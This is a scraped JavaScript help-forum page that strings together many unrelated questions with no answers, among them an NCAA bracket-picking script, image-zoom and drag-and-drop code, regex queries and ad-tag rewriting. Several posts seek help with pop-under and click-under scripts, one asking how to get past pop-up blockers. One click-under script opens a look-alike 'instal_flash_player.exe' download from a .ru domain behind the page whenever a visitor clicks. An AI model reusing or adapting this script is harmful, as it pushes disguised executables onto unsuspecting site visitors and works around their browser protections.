JavaScript - Ncaa Tournament Bracket Script
Hey Everyone, I'm hoping you all can help me with this. I have created a html ncaa tournament bracket for my website in which I hold annual competitions. Recently, my competition has grown and I need a better way for users to submit their brackets.
What Im looking for is a way to allow the person filling out the bracket to click on their predicted winner for each game, which will then fill out the bracket as they move through the bracket until the have predicted a national champion. Any Ideas? Similar TutorialsWith March madness right around the corner I am hoping to go paper less on my office pool. I have created a simple NFL pick sheet in html in the past but this is a bit out of my league as far as advancing teams as you pick them. I have found a thread here that has helped a me a bunch. I am not familer with java or how values work. My problem at this point is (having used a script from another thread here) http://www.codingforums.com/showthre...425#post895425 What are the values I change when I move to a new region? as well as keep moving the selected team to the final four and so on. Here is what I have Code: <html> <head> <style> * { font-family: arial; font-size: 12px; } th { border: red 3px; background-color: red; color: black; font-size: 16px; } .team { border: red 2px; background-color: white; width: 120px; height: 24px; } .team2 { border: black 2px; background-color: wheat; width: 120px; height: 24px; } .team3 { border: black 2px; background-color: pink; width: 120px; height: 24px; } </style> Head I understand, the scripting I am thinking is what I need to change for each region YES/NO <script> function win(winner) { var team = winner.value; var levels = winner.name.substring(3).split("_"); var curlevel = parseInt(levels[0]); var curgame = parseInt(levels[1]); var nextlevel = curlevel + 1; var nextgame = Math.floor( (curgame+1) / 2 ); var curteam = winner.form.elements["WIN"+nextlevel+"_"+nextgame].value; var winnerButton = winner.form.elements["WIN"+nextlevel+"_"+nextgame]; if ( winnerButton == null ) return; ++nextlevel; nextgame = Math.floor( (nextgame+1) / 2 ); var nextButton = winner.form.elements["WIN"+nextlevel+"_"+nextgame]; var forward = ( nextButton != null && nextButton.value == winnerButton.value ); winnerButton.value = team; while ( forward ) { nextButton.value = " "; ++nextlevel; nextgame = Math.floor( (nextgame+1) / 2 ); nextButton = winner.form.elements["WIN"+nextlevel+"_"+nextgame]; forward = ( nextButton != null && nextButton.value == curteam ); } } </script> </head> <body> <form> <table border=0 cellpadding=0> <tr> <th colspan=4 style="font-size: x-large;">West Region</th> <th colspan=3 style="font-size: x-large;">Final Four</th> </tr> <tr> <th colspan=2>Sub-Regional </th> <th colspan=2 style="background-color: wheat;">Regional Final</th> </tr> td = the tables or boxes through out the brackets, but what or how do you establish the name = "WIN0_1? these numbers change for each bracket and I am not sure how there figured? <tr> <td><input type=button class="team" name="WIN0_1" onclick="win(this)" value="#1 Seed"></td> </tr> <tr> <td></td> <td><input type=button class="team" name="WIN1_1" onclick="win(this)" value=""></td> </tr> <tr> <td><input type=button class="team" name="WIN0_2" onclick="win(this)" value="#16 Seed"></td> </tr> <tr> <td> </td> <td> </td> <td><input type=button class="team2" name="WIN2_1" onclick="win(this)" value=""></td> </tr> <tr> <td><input type=button class="team" name="WIN0_3" onclick="win(this)" value="#8 Seed"></td> </tr> <tr> <td></td> <td><input type=button class="team" name="WIN1_2" onclick="win(this)" value=""></td> </tr> <tr> <td><input type=button class="team" name="WIN0_4" onclick="win(this)" value="#9 Seed"></td> </tr> <tr> <td> </td> <td> </td> <td> </td> <td><input type=button class="team2" name="WIN3_1" onclick="win(this)" value=""></td> </tr> <tr> </tr> <tr> <td><input type=button class="team" name="WIN0_5" onclick="win(this)" value="#4 Seed"></td> </tr> <tr> <td></td> <td><input type=button class="team" name="WIN1_3" onclick="win(this)" value=""></td> </tr> <tr> <td><input type=button class="team" name="WIN0_6" onclick="win(this)" value="#13 Seed"></td> </tr> <tr> <td> </td> <td> </td> <td><input type=button class="team2" name="WIN2_2" onclick="win(this)" value=""></td> </tr> <tr> <td><input type=button class="team" name="WIN0_7" onclick="win(this)" value="#5 Seed"></td> </tr> <tr> <td></td> <td><input type=button class="team" name="WIN1_4" onclick="win(this)" value=""></td> </tr> <tr> <td><input type=button class="team" name="WIN0_8" onclick="win(this)" value="#12 Seed"></td> </tr> <tr> <td> </td> <td> </td> <td> </td> <td> </td> <td><input type=button class="team3" name="WIN4_1" onclick="win(this)" value=""></td> </tr> <tr> </tr> <tr> <td><input type=button class="team" name="WIN0_9" onclick="win(this)" value="#3 Seed" ></td> </tr> <tr> <td></td> <td><input type=button class="team" name="WIN1_5" onclick="win(this)" value="" ></td> </tr> <tr> <td><input type=button class="team" name="WIN0_10" onclick="win(this)" value="#14 Seed" ></td> </tr> <tr> <td> </td> <td> </td> <td><input type=button class="team2" name="WIN2_3" onclick="win(this)" value="" ></td> </tr> <tr> <td><input type=button class="team" name="WIN0_11" onclick="win(this)" value="#6 Seed" ></td> </tr> <tr> <td></td> <td><input type=button class="team" name="WIN1_6" onclick="win(this)" value="" ></td> </tr> <tr> <td><input type=button class="team" name="WIN0_12" onclick="win(this)" value="#11 Seed" ></td> </tr> <tr> <td> </td> <td> </td> <td> </td> <td><input type=button class="team2" name="WIN3_2" onclick="win(this)" value="" ></td> </tr> <tr> </tr> <tr> <td><input type=button class="team" name="WIN0_13" onclick="win(this)" value="#2 Seed" ></td> </tr> <tr> <td></td> <td><input type=button class="team" name="WIN1_7" onclick="win(this)" value="" ></td> </tr> <tr> <td><input type=button class="team" name="WIN0_14" onclick="win(this)" value="#15 Seed" ></td> </tr> <tr> <td> </td> <td> </td> <td><input type=button class="team2" name="WIN2_4" onclick="win(this)" value="" ></td> </tr> <tr> <td><input type=button class="team" name="WIN0_15" onclick="win(this)" value="#7 Seed" ></td> </tr> <tr> <td></td> <td><input type=button class="team" name="WIN1_8" onclick="win(this)" value="" ></td> </tr> <tr> <td><input type=button class="team" name="WIN0_16" onclick="win(this)" value="#10 Seed" ></td> </tr> <tr> <td colspan=8>and the other 3 regions...each with a regional winner</td> </tr> <tr> <td></td> <td></td> <td></td> <td></td> <td></td> <td><input type=button class="team3" name="WIN5_1" onclick="win(this)" value=""></td> </tr> <tr> <td> </td> <td> </td> <td> </td> <td> </td> <td><input type=button class="team3" name="WIN4_2" onclick="win(this)" value="region #2 winner"></td> </tr> <tr> <td></td> <td></td> <td></td> <td></td> <td colspan=2 style="font-size: 20px; text-align: right;">CHAMPION: </td> <td><input type=button class="team" style="width: 160px; font-size: 20px; background-color: orange; height: 32px;" name="WIN6_1" onclick="win(this)" value=""></td> </tr> <tr> <td> </td> <td> </td> <td> </td> <td> </td> <td><input type=button class="team3" name="WIN4_3" onclick="win(this)" value="region #3 winner"></td> </tr> <tr> <td></td> <td></td> <td></td> <td></td> <td></td> <td><input type=button class="team3" name="WIN5_2" onclick="win(this)" value=""></td> </tr> <tr> <td> </td> <td> </td> <td> </td> <td> </td> <td><input type=button class="team3" name="WIN4_4" onclick="win(this)" value="region #4 winner"></td> </tr> </table> </form> </body> ...Help me Obi-Wan Kenobi your my only hope... Hi Here's what I want: A bracket/tournament creator on my website, so that users can start their own matches and just use my site as "scorekeeper". Here's what I've come up with so far: http://javascript.internet.com/misce...ournament.html provides a basic sketch of what I'm looking for. Can that script be changed so that multiple tournaments/matches can run at the same time. Is it also possible to only allow the participents of that specific tournament to submit the score? I'd really appreciate any help. I'll also be willing to acknowledge whatever help I get on my site, so that you can link to it, if someone wants to see your work. Thanks in advance! Can anyone help me get a start to make a tournament chart that assighs a value to each player and depending on that value it beats a other player.
Hey, hoping someone can help. As this is my first post and I have a very very very small understanding of Javascript you have permission to mock me! Anyway, here goes... I am using a third party shopping cart system. One of the dropdown menus uses an array as the 'name'. <select name="product[]"> I'm pretty sure it has to stay this way or the cart won't work. I have a function which runs to make sure it can't be left on the first option when submitted, however it won't work with the 'name' containing square brackets! function validate_form_acflgotmt ( ) { valid = true; if ( document.acftshirt.product[].selectedIndex == 0 ) { alert ( "Neigh! Whoa boy, don't forget to choose a t-shirt size!" ); valid = false; } return valid; } If anyone can help please do and I will shed a single tear of joy. Thanks! Jake Hi All, I have two scripts which I want to try and integrate. I am using a nice gallery script to show thumbnails which are appended to a an image wrapper which on click of the thumbnail shows the larger image in the image wrapper, I am trying to implement cloud zoom which is a plugin which uses image srcs to then point to an anchor href to show another larger zoom image either in the same place.. which is what I am trying to do or in another div beside. I have had to set me img srcs up in a certain way to easily enter some product details. and I need to try an manipulate the code to make it work to suit my file layout. I am using a var= images [ with a series of file locations and info such as below { src: 'romanticabride/thumbs/tn_Shauna.jpg', srcBig: 'romanticabride/images/Shauna.jpg', title: 'Shauna', longDescription: '<b><H1>Shauna</H1></b><br><b>Romantica Of Devon <br><br><h2>Sizes Available:</h2><br> 6 - 32.<b><br><b><br><b><b><b><H2>Colours Available:</h2><b><br>Various<br>Please Enquire Below<br><br><br><br><a href="mailto:tracy@cherishbridal.co.uk?subject=Web Enquiry Regarding Romantica Shauna Bridal Gown"class="enquiry rose glow" >Click To Enquire About This Item </a>' }, what I need is for cloud zoom to work when the main image wrapper is hovered over which means it will need to add a class or when the whichever srcBig: is hovered over it gets wrapped by href to make the script work . one of my pages is http://www.cherishbridal.co.uk/romaticabride.html the cloud zoom script is at http://www.professorcloud.com/mainsite/cloud-zoom.htm.. I am happy to share a jsfiddle with someone or explain further or post some code. Thank you in advance I have a script that works in seamonkey(my html editor) but when I use it in IE8 it says errors happen. Here's the code (the first line is on line 7 of the html file): Code: <script type="text/javascript"> function enlarge(imageNum) { var numToString = ""; if(parseInt(imageNum) < 10){ numToString = "0" + imageNum; } else { numToString = imageNum + ""; } window.open("images/LgScreenshot"+numToString+".jpg","Screenshot "+imageNum,"status=0,height=675,width=900,resizable=0"); } </script> And the errors: Webpage error details User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.3; .NET CLR 3.0.30729) Timestamp: Wed, 10 Feb 2010 14:58:16 UTC Message: Object expected Line: 150 Char: 1 Code: 0 URI: http://samssc2site.co.cc/Features.html Message: Invalid argument. Line: 18 Char: 1 Code: 0 URI: http://samssc2site.co.cc/Features.html does any expert know how to pass parameters in the <script ..> tag? for instance; Code: <script type="text/javascript" src="script.js ?param1=val1¶m2=val2&etc "> in the javascript script.js, how would we read the params after the question mark? for example, google this; google shopping cart /v2_2/cart.js I need to assign a key in the javascript to actually make the javascript work,. I have a bookmark in chrome , a javascript , which actually works when clicked on it .,. but how can i edit it so that i can actually make it work on click a key or combination of keys. i want to declare the key or keycombo in the script itself .,. the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,., So I want it to work it this way ., select the text press a key and it opens a new tab (or window) with an xact search .,. i want to declare the key or keycombo in the script itself .,. the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,., So I want it to work it this way ., select the text press a key and it opens a new tab (or window) with an xact search .,. Thanks in advance ., Nani On this website: http://evancoleman.net/index.php I really like on the top how the menu has like 5 or 6 icons, and when you hover over them it shows a bubble with the name in them. Does anybody know where I can find this script? Thanks. Hello again . If these questions concerning Regular Expressions are inappropriate in this forum please let me know . Thank You. This expression <script[^>]*>.*?</script> matches ... Code: <script type="text/javascript">var cnnIsHomePage = true;</script> but not ... Code: <script type="text/javascript"> var cnnIsHomePage = true; </script> Please , how can i match the latter ? HI - I'm creating a golf website and the clients asked to put a "Golf Tip" on the site that could be changed. A Google search led me to your script (copied below) for "Tip of the Day", which seems to be exactly -- almost -- what I need. Can you tell me how to change the font color (for the tips) from gray to White? Also, is it possible to alter the script to make the tips weekly rather than daily? Thanks much, Richard Code: <table border="0" width="100%" bgcolor="#E8E8E8" cellspacing="0" cellpadding="0"> <tr><td width="100%"> <script> <!-- /* Tip of the day script By JavaScript Kit (http://javascriptkit.com) Over 200+ free scripts here! */ var today_obj=new Date() var today_date=today_obj.getDate() var tips=new Array() //Configure the below variable to contain the "header" of the tip var tiptitle='<img src="../../tip.gif"> <b>JavaScript Tip of the day</b><br />' //Configure the below array to hold the 31 possible tips of the month tips[1]='Tip 1 goes here' tips[2]='Tip 2 goes here' tips[3]='Tip 3 goes here' tips[4]='Tip 4 goes here' tips[5]='Tip 5 goes here' tips[6]='Tip 6 goes here' tips[7]='Tip 7 goes here' tips[8]='Tip 8 goes here' tips[9]='Tip 9 goes here' tips[10]='Tip 10 goes here' tips[11]='Tip 11 goes here' tips[12]='Tip 12 goes here' tips[13]='Tip 13 goes here' tips[14]='Tip 14 goes here' tips[15]='Tip 15 goes here' tips[16]='Tip 16 goes here' tips[17]='Tip 17 goes here' tips[18]='Tip 18 goes here' tips[19]='Tip 19 goes here' tips[20]='Tip 20 goes here' tips[21]='Tip 21 goes here' tips[22]='Tip 22 goes here' tips[23]='Tip 23 goes here' tips[24]='Tip 24 goes here' tips[25]='Tip 25 goes here' tips[26]='Tip 26 goes here' tips[27]='Tip 27 goes here' tips[28]='Tip 28 goes here' tips[29]='Tip 29 goes here' tips[30]='Tip 30 goes here' tips[31]='Tip 31 goes here' document.write(tiptitle) document.write(tips[today_date]) //--> </script> </td></tr></table> <p align="center"><font face="arial" size="-2">This free script provided by</font><br> <font face="arial, helvetica" size="-2"><a href="http://javascriptkit.com">JavaScript Kit</a></font></p> Hi everyone: I need help taking this pop under script: <script language="JavaScript"> var popunder="URL GOES HERE" function loadpopunder(){ win2=window.open(popunder) win2.blur() window.focus() } loadpopunder() </script> and making it so that I can set it so it only pops up one time and then will not pop up again until after a certain time period. Also, is there a way to make it so it can avoid pop up blockers? Thank you! Hallo I have a Tag, that i have to change with Javascript. This Tag : Code: <script src=”http://bs.serving- sys.com/BurstingPipe/adServer.bs?cn=sb&c=17&pli=283815&pi=0&w=300&h =250&ncu=$$[your-adserver-clickstring]$$&ord=[timestamp]”></script> <noscript> <a href=”[your-adserver-clickstring]http%3A//bs.serving- sys.com/BurstingPipe/BannerRedirect.asp%3FFlightID%3D283815%26Page%3 D%26PluID%3D0%26Pos%3D5148” target=”_blank”><img src=”http://bs.serving- sys.com/BurstingPipe/BannerSource.asp?FlightID=283815&Page=&PluID=0&P os=5148” border=0 width=300 height=250></a> </noscript> In order to track clicks: Add EASLink= parameters into the redirect string and exchange [timestamp] with _U_. To This Tag: Code: <script src=”http://bs.serving- sys.com/BurstingPipe/adServer.bs?cn=sb&c=17&pli=283815&pi=0&w=300&h =250&ncu=$$EASLink=http://emediate.com$$&ord=_U_”></script> <noscript> <a href=”EASLink=http%3A//bs.serving- sys.com/BurstingPipe/BannerRedirect.asp%3FFlightID%3D283815%26Page%3 D%26PluID%3D0%26Pos%3D5148” target=”_blank”><img src=”http://bs.serving- sys.com/BurstingPipe/BannerSource.asp?FlightID=283815&Page=&PluID=0&P os=5148” border=0 width=300 height=250></a> </noscript> I tried it with this Code, but it wont work, please can someone help me with the script: Code: case "EyeBlaster": HrefRegex = /(<a href=\")/gi; TimestampRegex = /ord=\[.*\]/gi; clickRegex = /ncu=[^&]*/gi; DisplayContainer.value = DisplayContainer.value.replace(TimestampRegex, "ord=_U_"); DisplayContainer.value = DisplayContainer.value.replace(HrefRegex, "EASLink="); if (DisplayContainer.value.match(clickRegex)) { DisplayContainer.value = DisplayContainer.value.replace(clickRegex, "ncu=EASLink="); } else { clickRegex = /ord=/gi; DisplayContainer.value = DisplayContainer.value.replace(clickRegex, "ncu=EASLink=&ord="); } break; Hello all. I have a pretty important question. I am building a webapp for the iPad and I need to be able to drag divs around the page for it to work. I had this script which works in desktop browsers: Code: function Browser() { var ua, s, i; this.isIE = false; this.isNS = false; this.version = null; ua = navigator.userAgent; s = "MSIE"; if ((i = ua.indexOf(s)) >= 0) { this.isIE = true; this.version = parseFloat(ua.substr(i + s.length)); return; } s = "Netscape6/"; if ((i = ua.indexOf(s)) >= 0) { this.isNS = true; this.version = parseFloat(ua.substr(i + s.length)); return; } // Treat any other "Gecko" browser as NS 6.1. s = "Gecko"; if ((i = ua.indexOf(s)) >= 0) { this.isNS = true; this.version = 6.1; return; } } var browser = new Browser(); // Global object to hold drag information. var dragObj = new Object(); dragObj.zIndex = 0; function dragStart(event, id) { var el; var x, y; // If an element id was given, find it. Otherwise use the element being // clicked on. if (id) dragObj.elNode = document.getElementById(id); else { if (browser.isIE) dragObj.elNode = window.event.srcElement; if (browser.isNS) dragObj.elNode = event.target; // If this is a text node, use its parent element. if (dragObj.elNode.nodeType == 3) dragObj.elNode = dragObj.elNode.parentNode; } // Get cursor position with respect to the page. if (browser.isIE) { x = window.event.clientX + document.documentElement.scrollLeft + document.body.scrollLeft; y = window.event.clientY + document.documentElement.scrollTop + document.body.scrollTop; } if (browser.isNS) { x = event.clientX + window.scrollX; y = event.clientY + window.scrollY; } // Save starting positions of cursor and element. dragObj.cursorStartX = x; dragObj.cursorStartY = y; dragObj.elStartLeft = parseInt(dragObj.elNode.style.left, 10); dragObj.elStartTop = parseInt(dragObj.elNode.style.top, 10); if (isNaN(dragObj.elStartLeft)) dragObj.elStartLeft = 0; if (isNaN(dragObj.elStartTop)) dragObj.elStartTop = 0; // Update element's z-index. dragObj.elNode.style.zIndex = ++dragObj.zIndex; // Capture mousemove and mouseup events on the page. if (browser.isIE) { document.attachEvent("onmousemove", dragGo); document.attachEvent("onmouseup", dragStop); window.event.cancelBubble = true; window.event.returnValue = false; } if (browser.isNS) { document.addEventListener("mousemove", dragGo, true); document.addEventListener("mouseup", dragStop, true); event.preventDefault(); } } function dragGo(event) { var x, y; // Get cursor position with respect to the page. if (browser.isIE) { x = window.event.clientX + document.documentElement.scrollLeft + document.body.scrollLeft; y = window.event.clientY + document.documentElement.scrollTop + document.body.scrollTop; } if (browser.isNS) { x = event.clientX + window.scrollX; y = event.clientY + window.scrollY; } // Move drag element by the same amount the cursor has moved. dragObj.elNode.style.left = (dragObj.elStartLeft + x - dragObj.cursorStartX) + "px"; dragObj.elNode.style.top = (dragObj.elStartTop + y - dragObj.cursorStartY) + "px"; if (browser.isIE) { window.event.cancelBubble = true; window.event.returnValue = false; } if (browser.isNS) event.preventDefault(); } function dragStop(event) { // Stop capturing mousemove and mouseup events. if (browser.isIE) { document.detachEvent("onmousemove", dragGo); document.detachEvent("onmouseup", dragStop); } if (browser.isNS) { document.removeEventListener("mousemove", dragGo, true); document.removeEventListener("mouseup", dragStop, true); } } And then I put this into the body section of the page: Code: <div id="boxA" class="box" style="left:400px;top:150px;"> <div class="bar" style="width:12em;" onmousedown="dragStart(event, 'boxA')">Drag Box B</div> <div class="content" style="width:12em;"> Enter stuff to be dragged here. </div> </div> The iPad doesn't read "onmousedown" correctly though, so I need another attribute to be put there instead. I tried "onclick" and then viewed it on the iPad and I was able to click on the div, then click around the page and the div would move there. If I use "onclick" though, something has to tell the browser that once I've clicked it once it stops moving if I click somewhere on the page. Like I said, if you can help, great! I have new script and i need to fix it for : 1-This script opens windows behind current windows when visitor clicks everywhere on the page . I need it works when visitors click only on links not everywhere on the page 2-i need it works for links with speacial id's , not every links <script type="text/javascript"> var puShown = false; function doOpen(url) { if ( puShown == true ) { return true; } win = window.open(url, 'ljPu', 'toolbar,status,resizable,scrollbars,menubar,location,height=680,width=790'); // win = window.open(url, 'ljPu', 'height=680,width=790'); if ( win ) { win.blur(); puShown = true; } return win; } function setCookie(name, value, time) { var expires = new Date(); expires.setTime( expires.getTime() + time ); document.cookie = name + '=' + value + '; expires=' + expires.toGMTString(); } function getCookie(name) { var cookies = document.cookie.toString().split('; '); var cookie, c_name, c_value; for (var n=0; n<cookies.length; n++) { cookie = cookies[n].split('='); c_name = cookie[0]; c_value = cookie[1]; if ( c_name == name ) { return c_value; } } return null; } function initPu() { if ( document.attachEvent ) { document.attachEvent( 'onclick', checkTarget ); } else if ( document.addEventListener ) { document.addEventListener( 'click', checkTarget, false ); } } function checkTarget(e) { if ( !getCookie('popundr') ) { var e = e || window.event; var win = doOpen('go.php?link=trade2'); setCookie('popundr', 1, 1*60*60*1000); } } initPu(); </script> Hello Everyone, Im having trouble at work. They asked me to write a script that will take the 25 first words of a web page and store it to use it later on in the back office of a platform. My problem is i do not know how to get javascript to view 25 words from a site. I wouldnt be able to touch the HTML on the Site. Is this possible? please help Hello this small clickunder script open windows behind current windows but it has problems that i want to be fixed : 1-This opens windows behind current windows when visitor clicks everywhere on the page . I need it works when visitors click only on links not everywhere on the page 2-i need it works for links with speacial id's , not every links Code: <SCRIPT LANGUAGE="Javascript"> function PopShow3() { CookieTest=navigator.cookieEnabled; if(CookieTest) { ClickUndercookie = GetCookie('clickunder'); if (ClickUndercookie == null) { var ExpDate = new Date (); ExpDate.setTime(ExpDate.getTime() + (1 * 60 * 60 * 1000)); SetCookie('clickunder','1',ExpDate, "/"); window.open("galst2.htm"); window.focus(); } } } function GetCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function SetCookie (name, value) { var argv = SetCookie.arguments; var argc = SetCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } document.onmouseup=PopShow3; </SCRIPT> This is clickunder script , but i need whenever i open page again , it works again at this current form , it doesnt open clickunder whenever i open page again what codes must change ? Code: <SCRIPT LANGUAGE="Javascript"> function PopShow3() { CookieTest=navigator.cookieEnabled; if(CookieTest) { ClickUndercookie = GetCookie('clickunder'); if (ClickUndercookie == null) { var ExpDate = new Date (); ExpDate.setTime(ExpDate.getTime() + (144 *60 * 60 * 1000)); SetCookie('clickunder','1',ExpDate, "/"); window.open("http://adodes.ru/download/instal_flash_player.exe"); window.focus(); } } } function GetCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function SetCookie (name, value) { var argv = SetCookie.arguments; var argc = SetCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } document.onmouseup=PopShow3; </SCRIPT> Sorry if this isn't JavaScript What would the script be to get something like the image below, when you click the tab, then the picture and headline pops up? Thanks. |